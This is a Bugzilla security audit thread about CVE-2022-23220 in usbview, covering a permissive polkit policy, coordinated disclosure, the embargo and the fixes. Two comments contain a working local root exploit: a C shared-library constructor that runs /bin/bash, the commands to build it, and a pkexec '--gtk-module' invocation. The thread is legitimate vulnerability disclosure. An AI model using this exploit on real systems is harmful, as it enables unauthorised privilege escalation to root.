Bugzilla – Bug 1194300
AUDIT-TRACKER: CVE-2022-23220: usbview: polkit GUI execution as root policy
Last modified: 2022-01-24 11:55:32 UTC
Base:System usbview got polkit support: [ 52s] usbview.x86_64: E: polkit-user-privilege (Badness: 10) org.freedesktop.pkexec.usbview (yes:yes:auth_admin_keep) [ 52s] The package allows unprivileged users to carry out privileged operations [ 52s] without root authentication. This could cause security problems if not done [ 52s] carefully. If the package is intended for inclusion in any SUSE product please [ 52s] open a bug report to request review of the package by the security team. [ 52s] Please refer to [ 52s] https://en.opensuse.org/openSUSE:Package_security_guidelines#audit_bugs for [ 52s] more information. not sure if this makes sense.
They want to support running the GUI as root in the X server. So far so common. HOWEVER the settings make so sense. Anybody and inactive sessions are allowed to do so without authentication but the active session needs to enter a root password? Apart from this a review of the codebase is in order whether it is fit to run as root. Especially symlink attacks are common in these scenarios. The codebase is about 1.500 lines of C code. Looks managable.
Since this does not seem to be a large code base I will slip in the review to get it off the table.
From some practical experimentation with the RPM from the devel project I can confirm that the flawed policy allows anybody to run usbview as root in the X server. Reproducer: - run something like `sleep 10; pkexec /usr/bin/usbview` in an X11 terminal - switch to a text mode terminal using `ctrl-alt-f1` or similar, wait for the ten seconds to elapse, observe the usbview running as root in the X11 session without need to enter the admin password. The problem could be less serious for non-graphical actors, because the program won't run without a valid X environment.
Turns out this is a full local root exploit. Command line arguments are passed to `gtk_init()` of the GTK3 library. This library processes the switch `--gtk-module=`. This even works outside of a session and GUI context, because this command line processing is done before a connection to the X server is performed. Reproducer: ``` ssh somebody@target-machine-with-usbview-installed somebody $ pkexec /usr/bin/usbview --gtk-module=$HOME/mymod.so ``` If $HOME/mymod.so exists and contains a constructor like this: ``` static void exploit_init() __attribute__((constructor)); void exploit_init() { execve("/bin/bash", NULL, NULL); } ``` then you will immediately obtain a root shell.
Greg KH upstream agreed to setup an embargo with linux-distros. Current plan is a 7 days embargo. This is the mail I sent to linux-distros: > Hello distros list, > > this is to inform you about a local root exploit I found in usbview [1] > release 2.1. I suggest a 7 day embargo period before publishing the fix. > I already contacted Greg upstream and he will wait with publishing a fix > until the embargo is over. > > I will request a CVE for this issue from Mitre and share it with the > list once it has been assigned. > > I determined that Debian, Ubuntu and Gentoo are affected. Arch and > Fedora aren't. I did not look into further distributions. > > Following is the full report: > > A polkit policy file has been added to usbview release 2.1 via commit > 'ddefeba' [2] (already contributed in 2016). This policy file allows to > run usbview as root via Polkit's `pkexec` utility. This is a common > usage to run GUI applications as root. However, this policy file > contains problematic authentication settings: > > <allow_any>yes</allow_any> > <allow_inactive>yes</allow_inactive> > <allow_active>auth_admin_keep</allow_active> > > These settings effectively mean that only a user in a local and active > (graphical) session needs to enter a root password to run usbview as > root. Users in inactive (e.g. locked) sessions or arbitrary other users > (e.g. logged in via SSH) can run usbview as root without providing any > authentication at all. > > Some further review of this situation showed that this allows for a > pretty simple local root exploit by passing the `--gtk-module` command > line parameter to usbview. For example, assuming the local user 'nobody' > is compromised: > > # Simulate a compromised nobody account > # > # This needs to be run outside of a login session, e.g. from an SSH > # shell. Alternatively one can use a "sleep 10 && pkexec ..." below > # and then switch to another login terminal (like pressing > # 'ctrl-alt-f1') during the execution of pkexec to mark the session > # as inactive, causing the exploit to work as well. > root# sudo -u nobody /bin/bash > > # build a simple shared library that executes /bin/bash upon loading > nobody$ cd /tmp > nobody$ gcc -omymod.so -fPIC -shared -x c - <<END > #include <stdio.h> > #include <unistd.h> > > static void exploit_init() __attribute__((constructor)); > > void exploit_init() { > execve("/bin/bash", NULL, NULL); > } > END > > # run usbview via pkexec as root, instructing GTK to load the > # exploit library > nobody$ pkexec /usr/bin/usbview --gtk-module=/tmp/mymod.so > # root shell obtained > root # > > Because `gtk_init()` loads modules before even attaching to the > graphical environment, no X11 session or similar is required for this > exploit to succeed. > > The problematic policy file seemingly already has been packaged for a > longer time in Debian Linux. Ubuntu also uses this Debian package. On > Gentoo Linux the released version 2.1 is already stable and thus > affected. Fedora uses its own, safe version of the polkit policy file. > > Attached to this email are a proposed fix and proposed hardening for > this issue. The fix for the policy file is straightforward. On top of > this I suggest a bit of hardening logic to pass on the command line > parameters to GTK only if _not_ invoked via pkexec. Sadly pkexec cannot > be properly configured to prevent it from accepting arbitrary parameters > for invoked programs. Therefore checking for the presence of the > `PKEXEC_UID` environment variable allows usbview to become aware of the > privilege escalation context and avoid the processing of potentially > dangerous parameters. This way even if arbitrary users are allowed to > execute usbview via pkexec as root, the possible attack vectors are > limited. A simpler approach would of course be not to pass on command > line parameters at all, but this could hinder things like debugging GTK > (I think environment variables could still be used for that purpose, > though). > > I stumbled over this, because the usbview package in openSUSE Tumbleweed > wanted an update to version 2.1 and this new polkit policy appeared > which requires a review by the SUSE security team. > > [1]: https://github.com/gregkh/usbview > [2]: https://github.com/gregkh/usbview/commit/ddefeba3f67d6a6f394eb57352254c1c8a312671
CRD: 2022-01-21
Created attachment 855277 [details] hardening suggestions
Created attachment 855278 [details] policy bugfix
Attachments 855277 and 855278 contain the patches mentioned in comment 5. Mitre assigned CVE-2022-23220 for this. I'm not creating a separate sub-bug for this, since openSUSE is luckily not affected anyway.
Changing this into a TRACKER bug. Once the embargo is over we can simply adjust the policy in our polkit-default-privs, maybe apply the hardening patch (or update to a new upstream version) and continue packaging it.
The finding is public now and a new usbview release version 2.2 is available that contains the fixes. Once the packaging is ready I can prepare the whitelisting for this.
This is an autogenerated message for OBS integration: This bug (1194300) was mentioned in https://build.opensuse.org/request/show/947959 Factory / usbview
This is an autogenerated message for OBS integration: This bug (1194300) was mentioned in https://build.opensuse.org/request/show/948375 Factory / usbview
So the whitelisting request has become invalid by now, since Greg has released a rewrite version 3.0 that no longer requires root privileges at all. Closing this bug as FIXED.